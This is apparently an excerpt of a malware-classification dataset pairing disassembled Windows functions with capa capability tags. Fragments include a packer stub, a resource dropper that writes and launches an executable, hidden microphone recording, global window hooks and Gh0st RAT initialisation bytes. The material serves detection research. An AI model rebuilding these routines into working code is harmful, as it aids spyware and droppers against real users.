joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4545a8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x454753
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x454734
mov dl, 1
mov eax, dword [0x4128f0]
call fcn.00403bd8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404a18
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x454723
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044247c
test al, al
je 0x454716
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x454764
lea eax, [ebp - 0x254]
call fcn.0040982c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x454716
xor eax, eax
push ebp
push 0x45470f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45479c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4546f8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c88
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4546f8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454716
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x454619
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416428
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45475a
lea eax, [ebp - 0x260]
call fcn.00404a18
ret

Function at 0x4550e4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45ebbc]
cmp byte [eax + 0xa5], 0
jne 0x455155
cmp dword [0x45ebd4], 0
jne 0x455116
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4550a0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45ebd4], eax
cmp dword [0x45ebd0], 0
jne 0x455131
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45ebd0], eax
cmp dword [0x45ebd8], 0
jne 0x455155
push esp
push 0
push 0
push 0x455044
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x45ebd8], eax
pop edx
ret
Function at 0x4557e8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45ebbc]
cmp dword [eax + 0x30], 0
je 0x455892
cmp dword [ebx + 0x94], 0
jne 0x45588c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x455778
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45588c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x455852
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45588c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414898
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x455861
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4563f0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x456425
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404b08
jmp 0x456432
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a6c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45755c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45759d
mov eax, esi
call fcn.0043daa8
test al, al
je 0x45759d
mov eax, dword [ebx + 0x84]
call fcn.0043d7a4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45759d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043d7a4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4598d4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff950
push ebx
xor ecx, ecx
mov dword [ebp - 0x6b0], ecx
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404ec8
lea ebx, [ebp - 8]
xor eax, eax
push ebp
push 0x459a45
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x6ac]
call fcn.004596d4
mov edx, dword [ebp - 0x6ac]
lea eax, [ebp - 0x10]
mov ecx, 0x459a5c
call fcn.00404d24
mov eax, dword [0x45d190]
mov byte [eax], 0
lea edx, [ebp - 0x6b0]
xor eax, eax
call fcn.00402e58
mov edx, dword [ebp - 0x6b0]
lea eax, [ebp - 0x15c]
call fcn.004031a0
mov edx, 1
lea eax, [ebp - 0x15c]
call fcn.004035e4
mov eax, dword [0x45d190]
mov byte [eax], 1
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x2a8]
call fcn.004031a0
mov edx, 1
lea eax, [ebp - 0x2a8]
call fcn.00403600
mov edx, dword [0x45ce50]
add edx, dword [0x45ce54]
lea eax, [ebp - 0x15c]
call fcn.0040360c
push ebx
lea edx, [ebp - 0x6a8]
mov ecx, 0x400
lea eax, [ebp - 0x15c]
call fcn.004032f8
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x6a8]
mov ecx, dword [ebx]
lea eax, [ebp - 0x2a8]
call fcn.00403318
cmp dword [ebx], 0
je 0x4599d6
mov eax, dword [ebx]
cmp eax, dword [ebp - 0xc]
je 0x45999c
lea eax, [ebp - 0x15c]
call fcn.00403338
lea eax, [ebp - 0x2a8]
call fcn.00403338
push 5
push 0
mov eax, dword [ebp - 4]
call fcn.00404ed8
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404ed8
push eax
push 0x459a68
mov eax, dword [0x45ebec]
call fcn.0043d7a4
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459a4c
lea eax, [ebp - 0x6b0]
mov edx, 2
call fcn.00404a3c
lea eax, [ebp - 0x10]
call fcn.00404a18
lea eax, [ebp - 4]
call fcn.00404a18
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x401093
jmp 0x401040
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm0, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm3, mm4
punpckhwd mm5, mm6
movq qword [edi - 0x10], mm0
paddd mm3, mm5
add esi, 8
movq qword [edi - 8], mm3
sub eax, 4
jge 0x401040
add eax, 4
jle 0x4010c6
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x401099
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x417e10
Capabilities:
Query or enumerate registry value

Disassembly:
mov al, byte [0x633042]
mov ecx, dword [0x633034]
sub esp, 0x14
mov edx, dword [0x63303c]
and ecx, 4
and edx, 0xc
push ebx
mov bl, byte [0x633049]
xor bl, al
mov eax, dword [0x633030]
add eax, ecx
mov ecx, dword [0x633038]
mov dword [0x633030], eax
mov eax, dword [0x633048]
and eax, 0xff
push esi
imul edx, eax
xor ecx, edx
push 0
mov byte [0x633049], bl
mov dword [0x633038], ecx
call sub.comdlg32.dll_FindTextW
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x636c2c
mov esi, eax
call fcn.00628d96
add esp, 4
test eax, eax
je 0x417e89
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret
mov ecx, dword [0x633030]
mov eax, dword [0x633034]
mov dword [esp + 0x18], 0
mov ebx, 1
lea edx, [ecx + ecx]
mov dword [esp + 8], 0
or edx, eax
lea eax, [esp + 8]
mov dword [esp + 0x14], edx
push eax
fild qword [esp + 0x18]
push ebx
push 0
push str.CLSIDa893aa73_054f_4dbc_9e53_f4ee5fe07fd3InProcServer32
push SysReAllocStringLen
fadd qword [0x633058]
fstp qword [0x633058]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [0x63bf4c], eax
jne 0x417f52
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
push 0x636c2c
push edx
push eax
mov dword [esp + 0x1c], eax
push eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x63bf4c], eax
jne 0x417f1a
cmp dword [esp + 0xc], ebx
je 0x417f1c
xor bl, bl
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x417f33
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret
mov eax, dword [0x63bf4c]
test eax, eax
jne 0x417f52
test esi, esi
jle 0x417f4c
and esi, 0xffff
or esi, 0x80070000
mov dword [0x63bf4c], esi
pop esi
mov eax, 0x80004005
pop ebx
add esp, 0x14
ret
Function at 0x62a181
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6333d0
cmp edx, dword [eax]
je 0x62a1a3
add eax, 8
inc ecx
cmp eax, 0x633460
jl 0x62a194
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6333d0]
jne 0x62a2d1
mov eax, dword [0x63bf64]
cmp eax, 1
je 0x62a2ab
test eax, eax
jne 0x62a1d4
cmp dword [0x6332fc], 1
je 0x62a2ab
cmp edx, 0xfc
je 0x62a2d1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62a20b
lea eax, [ebp - 0x1a4]
push 0x62fc20
push eax
call fcn.0062ab60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062aff0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x62a24e
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062aff0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62fc1c
push edi
call fcn.0062cec0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x62fc00
push eax
call fcn.0062ab60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062ab70
lea eax, [ebp - 0xa0]
push 0x62fbfc
push eax
call fcn.0062ab70
push dword [esi + 0x6333d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062ab70
push 0x12010
lea eax, [ebp - 0xa0]
push 0x62fbd4
push eax
call fcn.0062ce34
add esp, 0x2c
pop edi
jmp 0x62a2d1
lea eax, [ebp + 8]
lea esi, [esi + 0x6333d4]
push 0
push eax
push dword [esi]
call fcn.0062aff0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403090
Capabilities:
Enumerate gui resources
Get disk information

Disassembly:
mov eax, dword [0x49150c]
mov ecx, dword [0x48e418]
sub esp, 0x424
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403186
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [0x49150c], 0x959
jne 0x40316c
call esi
push 0
lea eax, [esp + 0x34]
push eax
push 0x402c58
call edi
push 0
push 0
call ebx
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
xor eax, eax
lea ecx, [esp + 0x1c]
push ecx
push eax
push eax
push eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [esp + 0x14]
push edx
call fcn.00402ef0
add dword [esp + 0x14], 8
sub dword [esp + 0x18], 1
jne 0x4030d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x424
ret
Function at 0x408d90
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425c00]
jne 0x408d9a
repz ret
jmp fcn.0040bdec

Function at 0x40b8bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d29
and dword [ebp - 4], 0
cmp dword [0x426fc4], 0
mov ebx, eax
jne 0x40b96d
push 0x402b8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ba1e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402b80
push edi
call esi
test eax, eax
je 0x40ba1e
push eax
call fcn.00404cb7
mov dword [esp], 0x402b70
push edi
mov dword [0x426fc4], eax
call esi
push eax
call fcn.00404cb7
mov dword [esp], 0x402b5c
push edi
mov dword [0x426fc8], eax
call esi
push eax
call fcn.00404cb7
mov dword [esp], 0x402b40
push edi
mov dword [0x426fcc], eax
call esi
push eax
call fcn.00404cb7
pop ecx
mov dword [0x426fd4], eax
test eax, eax
je 0x40b96d
push 0x402b28
push edi
call esi
push eax
call fcn.00404cb7
pop ecx
mov dword [0x426fd0], eax
mov eax, dword [0x426fd0]
cmp eax, ebx
je 0x40b9c5
cmp dword [0x426fd4], ebx
je 0x40b9c5
push eax
call fcn.00404d32
push dword [0x426fd4]
mov esi, eax
call fcn.00404d32
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b9c5
test edi, edi
je 0x40b9c5
call esi
test eax, eax
je 0x40b9bc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b9bc
test byte [ebp - 0xc], 1
jne 0x40b9c5
or dword [ebp + 0x10], 0x200000
jmp 0x40b9fe
mov eax, dword [0x426fc8]
cmp eax, ebx
je 0x40b9fe
push eax
call fcn.00404d32
pop ecx
test eax, eax
je 0x40b9fe
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b9fe
mov eax, dword [0x426fcc]
cmp eax, ebx
je 0x40b9fe
push eax
call fcn.00404d32
pop ecx
test eax, eax
je 0x40b9fe
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x426fc4]
call fcn.00404d32
pop ecx
test eax, eax
je 0x40ba1e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ba20
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43b639
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
pop eax
or ebx, ebx
sub ebx, ebx
add ebx, 0x3abff5b
call fcn.0043b677
sub esi, ebx
or esi, esi
add ebx, 0xd33a3801
xor dword [ecx], eax
add ebx, esi
inc ecx
sub esi, 0x43895b99
or ebx, esi
or esi, ebx
cmp ecx, edx
jne fcn.0043b639
and ebx, esi
ret

Function at 0x10001016
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push esi
push edi
push 0x10003010
push 0x65
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10001061
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x10001065
xor eax, eax
jmp 0x100010a7
push ebx
mov ebx, dword [esi]
push 0
push 4
push 2
push 0
push 2
push 0x40000000
push 0x10003038
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010a3
lea eax, [esp + 0xc]
push 0
push eax
add esi, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop ebx
pop edi
pop esi
pop ecx
ret

Function at 0x100010ab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
xor edx, edx
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], edx
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push 0x8000000
push edx
push edx
push edx
push 0x10003038
push edx
mov word [ebp - 0x24], dx
mov dword [ebp - 0x28], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x10001110
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
pop esi
xor eax, eax
leave
ret
Function at 0x4178d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x413015
lea edi, [esi - 0x12015]
push edi
or ebp, 0xffffffff
jmp 0x4178f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4178f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4178e8
mov eax, 1
add ebx, ebx
jne 0x41790b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417900
jne 0x41791c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417900
xor ecx, ecx
sub eax, 3
jb 0x417930
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4179a2
mov ebp, eax
add ebx, ebx
jne 0x41793b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417948
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41796c
inc ecx
add ebx, ebx
jne 0x417958
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41794d
jne 0x417969
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41794d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41798c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41797d
jmp 0x4178ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41798c
add edi, ecx
jmp 0x4178ee
pop esi
mov edi, esi
mov ecx, 0x59
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4179aa
cmp byte [edi], 2
jne 0x4179aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4179af
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x417a27
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1791c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17958]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4179dc
mov ecx, edi
jns 0x417a0b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17960]
or eax, eax
je 0x417a21
mov dword [ebx], eax
add ebx, 4
jmp 0x4179f9
call dword [esi + 0x1795c]
mov ebp, dword [esi + 0x17964]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x417a5b
sub esp, 0xffffff80
jmp 0x401a90
Function at 0x100013a0
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
mov eax, dword [0x10018390]
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x100013cc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [0x10018390]
push str.waveInOpen
push ecx
call esi
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push 4
push edi
push 0x10001590
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call ebp
test eax, eax
je 0x10001427
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov edx, dword [0x10018390]
push str.waveInPrepareHeader
push edx
call esi
mov dword [esp + 0x14], eax
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebp
jne 0x10001441
mov edx, dword [0x10018390]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10018390]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10001d70
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x100120aa
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001930
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.10001930
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001930
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001930
lea eax, [esp + 0x10]
mov dword [esi], 0x10013398
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret